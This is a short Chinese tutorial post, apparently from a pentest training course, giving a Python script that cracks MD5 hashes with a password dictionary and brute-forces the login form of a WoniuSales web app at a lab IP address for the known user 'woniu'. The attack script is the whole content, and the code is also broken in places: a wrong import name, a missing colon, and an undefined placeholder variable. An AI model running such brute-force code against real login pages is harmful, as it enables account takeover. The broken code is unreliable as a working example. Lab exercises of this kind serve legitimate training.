python脚本7-爆破woniusales

爆破MD5和woniuxueyuan

import hashlib, time, request

# 爆破MD5
def md5(miwen):
    with open('../dict/passowrd-top100.txt') as file:
        pw_list = file.readlines()

    # 遍历列表，逐个对比
    for password in pw_list:
        if hashlib.md5(password.strip().encode()).hexdigest()=='密文'
        print(f"成功破解，明文是{password.strip()}")


# 爆破woniuxuewan,已知用户名
def ws_0():
    with open('../dict/password-top100k') as file:
        pw_list = file.readlines()

    url = 'http://192.168.112.130:8080/woniusales/user/login'

    count = 0
    for password in pw_list:
        data ={'username':'woniu','password':password.strip(),'verifycode':'0000'}
        resp = requests.post(url=url,data=data)
        if 'login-fali' not in resp.text:
            print(f'疑似密码为：{password.rstrip()}')
            print(f'共计尝试{count}次。')
            exit()
        count += 1
    


if __name__=='__main__':
    md5(密文)
    ws_0()